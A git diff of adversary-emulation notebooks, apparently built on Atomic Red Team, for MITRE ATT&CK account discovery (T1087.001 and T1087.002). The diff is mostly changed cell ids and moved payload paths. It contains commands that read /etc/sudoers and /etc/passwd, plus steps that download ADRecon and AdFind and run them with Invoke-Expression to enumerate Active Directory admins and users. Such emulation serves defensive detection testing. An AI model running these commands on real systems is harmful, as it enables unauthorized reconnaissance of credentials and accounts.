groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts." }, { "cell_type": "markdown", - "id": "c6cbca14", + "id": "d4063173", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c53f196f", + "id": "8d5263a4", "metadata": {}, "source": [ "### Atomic Test #1 - Enumerate all accounts (Local)", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b40f45f9", + "id": "99f93868", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a26a07fe", + "id": "d74aadc5", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1087.001.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7487c82f", + "id": "ede7901b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "ab0e872c", + "id": "e1c88836", "metadata": {}, "source": [ "### Atomic Test #2 - View sudoers access", @@ -56,82 +56,82 @@ "**Supported Platforms:** linux, macos", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `sh`\n", - "```sh\nsudo cat /etc/sudoers > /tmp/T1087.001.txt\ncat /tmp/T1087.001.txt\n```" + "```sh\nif [ -f /etc/sudoers ]; then sudo cat /etc/sudoers > /tmp/T1087.001.txt; fi;\nif [ -f /usr/local/etc/sudoers ]; then sudo cat /usr/local/etc/sudoers > /tmp/T1087.001.txt; fi;\ncat /tmp/T1087.001.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "f0a0231e", + "id": "fd2b26bd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "b9d50a0f", + "id": "bdd4539a", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1087.001.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "05d5fbb3", + "id": "69d9796f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "56768e71", + "id": "fb465b31", "metadata": {}, "source": [ "### Atomic Test #3 - View accounts with UID 0", "View accounts with UID 0\n", "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", - "```sh\ngrep 'x:0:' /etc/passwd > /tmp/T1087.001.txt\ncat /tmp/T1087.001.txt 2>/dev/null\n```" + "```sh\ngrep 'x:0:' /etc/passwd > /tmp/T1087.001.txt\ngrep '*:0:' /etc/passwd >> /tmp/T1087.001.txt\ncat /tmp/T1087.001.txt 2>/dev/null\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "94b48eb2", + "id": "6cc45c85", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "2c6cf815", + "id": "31140da0", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1087.001.txt 2>/dev/null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "553aa0da", + "id": "17053782", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "ef840683", + "id": "8a9fdd5b", "metadata": {}, - "source": "### Atomic Test #4 - List opened files by user\nList opened files by user\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: check if lsof exists\n\n##### Check Prereq Commands:\n```sh\nwhich lsof\n\n```\n##### Get Prereq Commands:\n```sh\n(which yum && yum -y install lsof)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y lsof)\n\n```" + "source": "### Atomic Test #4 - List opened files by user\nList opened files by user\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: check if lsof exists\n\n##### Check Prereq Commands:\n```sh\nwhich lsof\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y lsof)||(which yum && yum -y install lsof)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y lsof)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "eb90b685", + "id": "388c9128", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d5d2fc7e", + "id": "fb07f3fc", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -141,59 +141,59 @@ { "cell_type": "code", "execution_count": null, - "id": "4d512ccf", + "id": "b64288f4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "4d2dc319", + "id": "fed1d390", "metadata": {}, "source": "### Atomic Test #5 - Show if a user account has ever logged in remotely\nShow if a user account has ever logged in remotely\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Check if lastlog command exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v lastlog)\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\nsudo apt-get install login; exit 1;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "71e99dfc", + "id": "41d23085", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "95d05191", + "id": "03754c25", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\nlastlog > /tmp/T1087.001.txt\ncat /tmp/T1087.001.txt\n```" + "```sh\n[ \"$(uname)\" = 'FreeBSD' ] && cmd=\"lastlogin\" || cmd=\"lastlog\" \n$cmd > /tmp/T1087.001.txt\ncat /tmp/T1087.001.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "5a22c9ef", + "id": "e5168a76", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "424256a8", + "id": "c205909d", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1087.001.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5acb9333", + "id": "4f7b19e1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "a6826d11", + "id": "edba729b", "metadata": {}, "source": [ "### Atomic Test #6 - Enumerate users and groups", @@ -206,14 +206,14 @@ { "cell_type": "code", "execution_count": null, - "id": "3baa06e5", + "id": "4b31a7c7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "3eb1e1b0", + "id": "f596148e", "metadata": {}, "source": [ "### Atomic Test #7 - Enumerate users and groups", @@ -226,14 +226,14 @@ { "cell_type": "code", "execution_count": null, - "id": "dcf811d1", + "id": "fb95714f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "6cb4a765", + "id": "01856e7a", "metadata": {}, "source": [ "### Atomic Test #8 - Enumerate all accounts on Windows (Local)", @@ -246,14 +246,14 @@ { "cell_type": "code", "execution_count": null, - "id": "7ed9b23d", + "id": "495155e5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "a2232de8", + "id": "c786b00e", "metadata": {}, "source": [ "### Atomic Test #9 - Enumerate all accounts via PowerShell (Local)", @@ -266,14 +266,14 @@ { "cell_type": "code", "execution_count": null, - "id": "722b7590", + "id": "1b611fce", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "b7f9c89f", + "id": "77c89b06", "metadata": {}, "source": [ "### Atomic Test #10 - Enumerate logged on users via CMD (Local)", @@ -286,14 +286,14 @@ { "cell_type": "code", "execution_count": null, - "id": "6aa6996b", + "id": "27c83543", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.001 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "86c718cf", + "id": "be8167e1", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)" } @@ -301,13 +301,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1087.002.ipynb b/playbook/tactics/discovery/T1087.002.ipynb index 36c5d2ef..754828b3 100644 --- a/playbook/tactics/discovery/T1087.002.ipynb +++ b/playbook/tactics/discovery/T1087.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "851a44e1", + "id": "69e150ad", "metadata": {}, - "source": "# T1087.002 - Domain Account\nAdversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups." + "source": "# T1087.002 - Domain Account\nAdversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups. " }, { "cell_type": "markdown", - "id": "bc9eb277", + "id": "12c3785f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c8619949", + "id": "c9321c5d", "metadata": {}, "source": [ "### Atomic Test #1 - Enumerate all accounts (Domain)", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "e9e23239", + "id": "c4baf013", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "e80fb397", + "id": "d4a72235", "metadata": {}, "source": [ "### Atomic Test #2 - Enumerate all accounts via PowerShell (Domain)", @@ -47,14 +47,14 @@ { "cell_type": "code", "execution_count": null, - "id": "c8114695", + "id": "353cb530", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "2771736a", + "id": "5c107686", "metadata": {}, "source": [ "### Atomic Test #3 - Enumerate logged on users via CMD (Domain)", @@ -67,183 +67,183 @@ { "cell_type": "code", "execution_count": null, - "id": "cc65919f", + "id": "07d3b0a9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "4b72e1a9", + "id": "de111773", "metadata": {}, - "source": "### Atomic Test #4 - Automated AD Recon (ADRecon)\nADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its\npath will be displayed.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: ADRecon must exist on disk at specified location (#{adrecon_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\ADRecon.ps1) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest -Uri \"https://raw.githubusercontent.com/sense-of-security/ADRecon/38e4abae3e26d0fa87281c1d0c65cabd4d3c6ebd/ADRecon.ps1\" -OutFile $env:TEMP\\ADRecon.ps1\n\n```" + "source": "### Atomic Test #4 - Automated AD Recon (ADRecon)\nADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its\npath will be displayed.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: ADRecon must exist on disk at specified location (#{adrecon_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\ADRecon.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -Uri \"https://raw.githubusercontent.com/sense-of-security/ADRecon/38e4abae3e26d0fa87281c1d0c65cabd4d3c6ebd/ADRecon.ps1\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\ADRecon.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "30894886", + "id": "c6be7279", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "48ab1817", + "id": "c3cf738a", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nInvoke-Expression $env:TEMP\\ADRecon.ps1\n```" + "```powershell\nInvoke-Expression \"PathToAtomicsFolder\\..\\ExternalPayloads\\ADRecon.ps1\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "8a2a7b9a", + "id": "242d5cd5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "9b503797", + "id": "dde82236", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\ADRecon.ps1 -Force -ErrorAction Ignore | Out-Null\nGet-ChildItem $env:TEMP -Recurse -Force | Where{$_.Name -Match \"^ADRecon-Report-\"} | Remove-Item -Force -Recurse\n```" + "source": "#### Cleanup: \n```powershell\nGet-ChildItem \"PathToAtomicsFolder\\..\\ExternalPayloads\" -Recurse -Force | Where{$_.Name -Match \"^ADRecon-Report-\"} | Remove-Item -Force -Recurse\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b6034e8e", + "id": "3af9901d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "0af681f5", + "id": "c40842ef", "metadata": {}, - "source": "### Atomic Test #5 - Adfind -Listing password policy\nAdfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy.\nreference- http://www.joeware.net/freetools/tools/adfind/, https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (#{adfind_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe\n\n```" + "source": "### Atomic Test #5 - Adfind -Listing password policy\nAdfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy.\nreference- http://www.joeware.net/freetools/tools/adfind/, https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe)\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d4d3a0cf", + "id": "665f2477", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "3b3f8419", + "id": "246c8775", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1087.002\\src\\AdFind.exe -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "214ff471", + "id": "7ef77795", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "27d8df75", + "id": "8a1332ad", "metadata": {}, - "source": "### Atomic Test #6 - Adfind - Enumerate Active Directory Admins\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts\nreference- http://www.joeware.net/freetools/tools/adfind/, https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (#{adfind_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe\n\n```" + "source": "### Atomic Test #6 - Adfind - Enumerate Active Directory Admins\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts\nreference- http://www.joeware.net/freetools/tools/adfind/, https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe)\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b7e3a774", + "id": "26fa6afc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1c33c3e1", + "id": "e2a62c3a", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1087.002\\src\\AdFind.exe -sc admincountdmp\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -sc admincountdmp\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1ecca015", + "id": "060404c8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "6f9f83e2", + "id": "918989f4", "metadata": {}, - "source": "### Atomic Test #7 - Adfind - Enumerate Active Directory User Objects\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (#{adfind_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe\n\n```" + "source": "### Atomic Test #7 - Adfind - Enumerate Active Directory User Objects\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe)\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6b43e76f", + "id": "8eb06da6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7cdd2d76", + "id": "e033aa1b", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1087.002\\src\\AdFind.exe -f (objectcategory=person)\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -f (objectcategory=person)\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "253ee8f0", + "id": "cbb5052f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "625262a3", + "id": "eeeb1c6b", "metadata": {}, - "source": "### Atomic Test #8 - Adfind - Enumerate Active Directory Exchange AD Objects\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (#{adfind_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe\" -OutFile PathToAtomicsFolder\\T1087.002\\src\\AdFind.exe\n\n```" + "source": "### Atomic Test #8 - Adfind - Enumerate Active Directory Exchange AD Objects\nAdfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects\nreference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe)\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest -Uri \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1b878f92", + "id": "ebe1374e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "bdb4263a", + "id": "473d8069", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1087.002\\src\\AdFind.exe -sc exchaddresses\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -sc exchaddresses\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "17844bc9", + "id": "86431d50", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "01850b54", + "id": "74b90d95", "metadata": {}, "source": [ "### Atomic Test #9 - Enumerate Default Domain Admin Details (Domain)", @@ -256,28 +256,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a023376d", + "id": "25f77199", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "dd51ca11", + "id": "3a90aa57", "metadata": {}, "source": "### Atomic Test #10 - Enumerate Active Directory for Unconstrained Delegation\nAttackers may attempt to query for computer objects with the UserAccountControl property\n'TRUSTED_FOR_DELEGATION' (0x80000;524288) set\nMore Information - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#when-the-stars-align-unconstrained-delegation-leads-to-rce\nPrerequisite: AD RSAT PowerShell module is needed and it must run under a domain user\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PowerShell ActiveDirectory Module must be installed\n\n##### Check Prereq Commands:\n```powershell\nTry {\n Import-Module ActiveDirectory -ErrorAction Stop | Out-Null\n exit 0\n}\nCatch {\n exit 1\n}\n\n```\n##### Get Prereq Commands:\n```powershell\nif((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {\n Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online\n} else {\n Install-WindowsFeature RSAT-AD-PowerShell\n}\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "975e1cbc", + "id": "34b9f65b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 10 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4e5a8687", + "id": "124e7c7e", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -287,14 +287,14 @@ { "cell_type": "code", "execution_count": null, - "id": "a64c1e5d", + "id": "4828fefb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "5ff423b5", + "id": "dc01ee8d", "metadata": {}, "source": [ "### Atomic Test #11 - Get-DomainUser with PowerView", @@ -307,14 +307,14 @@ { "cell_type": "code", "execution_count": null, - "id": "761df521", + "id": "3accd1b0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "a4cd4792", + "id": "355979e3", "metadata": {}, "source": [ "### Atomic Test #12 - Enumerate Active Directory Users with ADSISearcher", @@ -328,14 +328,14 @@ { "cell_type": "code", "execution_count": null, - "id": "f947c190", + "id": "46edebb2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "45446325", + "id": "550351ed", "metadata": {}, "source": [ "### Atomic Test #13 - Enumerate Linked Policies In ADSISearcher Discovery", @@ -349,14 +349,14 @@ { "cell_type": "code", "execution_count": null, - "id": "eebdacdc", + "id": "cf4732d6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "3fa3096a", + "id": "34464b21", "metadata": {}, "source": [ "### Atomic Test #14 - Enumerate Root Domain linked policies Discovery", @@ -370,14 +370,14 @@ { "cell_type": "code", "execution_count": null, - "id": "c1fda69d", + "id": "8250fa10", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "c15c0bea", + "id": "792eae05", "metadata": {}, "source": [ "### Atomic Test #15 - WinPwn - generaldomaininfo", @@ -390,45 +390,260 @@ { "cell_type": "code", "execution_count": null, - "id": "b7161695", + "id": "a387fd2a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1087.002 -TestNumbers 15" }, { 